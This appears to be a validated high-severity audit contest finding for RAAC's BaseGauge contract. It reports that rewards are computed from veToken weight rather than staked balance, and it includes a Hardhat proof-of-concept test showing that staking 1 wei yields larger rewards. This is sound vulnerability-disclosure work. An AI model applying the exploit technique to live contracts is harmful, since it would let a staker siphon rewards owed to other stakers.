Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Incorrect accounting in `BaseGauge::_updateReward` allows a user to benefit more when staking less

Summary

The BaseGauge::_updateReward function is triggered on every state-changing public function (i.e. stake, withdraw, getReward). It is responsible for rewards accumulation for a particular user. However, it calculates rewards based on the user's veToken balance instead of the amount of stakedToken they have actually staked. This flaw allows users who stake fewer tokens to receive disproportionately higher rewards.

Vulnerability Details

If we look at the BaseGauge::earned function:

function earned(address account) public view returns (uint256) {
return (getUserWeight(account) *
@> (getRewardPerToken() - userStates[account].rewardPerTokenPaid) / 1e18
) + userStates[account].rewards;
}

source
Here, earned() relies on getUserWeight() to determine rewards, which is based on the gauge’s weight multiplied by the user's boost multiplier. The boost multiplier, in turn, depends on the user's veToken balance. The more veToken they have, the higher the boost multiplier.

The getRewardPerToken() function calculates the current reward accumulated:

function getRewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return rewardPerTokenStored + (
(lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18 / totalSupply()
);
}

source
Since getRewardPerToken() depends on totalSupply(), which represents the total amount of stakedToken in the contract, a larger totalSupply() results in a smaller reward accumulation per token. This allows a user with a small stakedToken balance but a high veToken balance to receive disproportionately high rewards, undermining the intended staking logic.

PoC

import { time } from "@nomicfoundation/hardhat-network-helpers";
import { expect } from "chai";
import hre from "hardhat";
const { ethers } = hre;
describe("BaseGaugePoC", () => {
let raacGauge;
let gaugeController;
let veRAACToken;
let rewardToken;
let stakingToken;
let owner;
let user1;
let user2;
let user3;
let user4;
const WEIGHT_PRECISION = 10000;
const DAY = 24 * 3600;
beforeEach(async () => {
[owner, user1, user2, user3, user4] = await ethers.getSigners();
// Deploy mock tokens
const MockToken = await ethers.getContractFactory("MockToken");
rewardToken = await MockToken.deploy("Reward Token", "RWD", 18);
veRAACToken = await MockToken.deploy("veRAAC Token", "veRAAC", 18);
stakingToken = await MockToken.deploy("Staking Token", "STK", 18);
// Deploy controller
const GaugeController = await ethers.getContractFactory("GaugeController");
gaugeController = await GaugeController.deploy(await veRAACToken.getAddress());
// Get current time and align to next period boundary with buffer
const currentTime = BigInt(await time.latest());
const duration = BigInt(7 * DAY);
const nextPeriodStart = ((currentTime / duration) + 2n) * duration; // Add 2 periods for buffer
// Deploy MockBaseGauge
const RAACGauge = await ethers.getContractFactory("RAACGauge");
raacGauge = await RAACGauge.deploy(
await rewardToken.getAddress(),
await stakingToken.getAddress(),
await gaugeController.getAddress()
);
// Setup roles
await raacGauge.grantRole(await raacGauge.CONTROLLER_ROLE(), owner.address);
await raacGauge.grantRole(await raacGauge.FEE_ADMIN(), owner.address);
await raacGauge.grantRole(await raacGauge.EMERGENCY_ADMIN(), owner.address);
// Setup initial state
await rewardToken.mint(await raacGauge.getAddress(), ethers.parseEther("1000000000"));
await veRAACToken.mint(user1.address, ethers.parseEther("2"));
await veRAACToken.mint(user2.address, ethers.parseEther("2"));
await stakingToken.mint(user1.address, ethers.parseEther("2"));
await stakingToken.mint(user2.address, ethers.parseEther("2"));
// Initialize boost state
await raacGauge.setBoostParameters(
25000, // 2.5x max boost
10000, // 1x min boost
7 * 24 * 3600 // 7 days boost window
);
// Add gauge to controller
await gaugeController.addGauge(await raacGauge.getAddress(), 0, WEIGHT_PRECISION);
await raacGauge.setDistributionCap(ethers.parseEther("1000000"));
// Set initial weight for testing
await raacGauge.setInitialWeight(5000);
});
it("Rewarding mechanism does not work after stake", async () => {
const minAmountToStake = 1;
const maxAmountToStake = ethers.parseEther("2");
// increase to the 5th day of the voting period
await time.increase(5 * DAY);
// Vote for the gauge
await gaugeController.connect(user1).vote(await raacGauge.getAddress(), 10000);
// Distribute rewards to the raacGauge
await gaugeController.distributeRewards(await raacGauge.getAddress());
// user2 stakes just so the raacGauge has some `stakingToken` staked in it
await stakingToken.connect(user2).approve(await raacGauge.getAddress(), ethers.parseEther("1"));
await raacGauge.connect(user2).stake(ethers.parseEther("1"));
// Stake 1 wei of stakingToken into the raacGauge
await stakingToken.connect(user1).approve(await raacGauge.getAddress(), maxAmountToStake);
await raacGauge.connect(user1).stake(minAmountToStake);
// The reward accumulated after staking
const reward = await raacGauge.connect(user1).earned(user1.address);
console.log("earned: ", reward);
const user = await raacGauge.userStates(user1.address);
console.log("User rewardPerTokenPaid: ", user.rewardPerTokenPaid);
// Wait 2 days
await time.increase(2 * DAY);
// Get reward
await raacGauge.connect(user1).getReward();
// Check if the user has received the reward
const actualReward = await rewardToken.balanceOf(user1.address);
console.log("Reward claimed: ", actualReward);
expect(actualReward).to.be.gt(0);
});
})

When user1 stakes only 1 wei into the gauge (i.e. await raacGauge.connect(user1).stake(minAmountToStake)), this is the output

BaseGaugePoC
earned: 57870n
User rewardPerTokenPaid: 1653439153439153438n
Reward claimed: 5000057869n
✔ Rewarding mechanism does not work after stake (4223ms)

When user1 stakes 2e18 (i.e. await raacGauge.connect(user1).stake(maxAmountToStake)), this is the output:

BaseGaugePoC
earned: 28935n
User rewardPerTokenPaid: 826719576719576719n
Reward claimed: 1666695601n

5000057869n > 1666695601n thus, with smaller stake amount the bigger is the reward.

Impact

This issue distorts the staking mechanism, allowing users to unfairly maximize their rewards without staking proportionally.

Tools Used

Manual Research, VSCode

Recommendations

Modify the reward calculation logic to factor in the actual stakedToken balance of users, ensuring a fair distribution of rewards.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::earned calculates rewards using getUserWeight instead of staked balances, potentially allowing users to claim rewards by gaining weight without proper reward checkpoint updates

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::earned calculates rewards using getUserWeight instead of staked balances, potentially allowing users to claim rewards by gaining weight without proper reward checkpoint updates

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!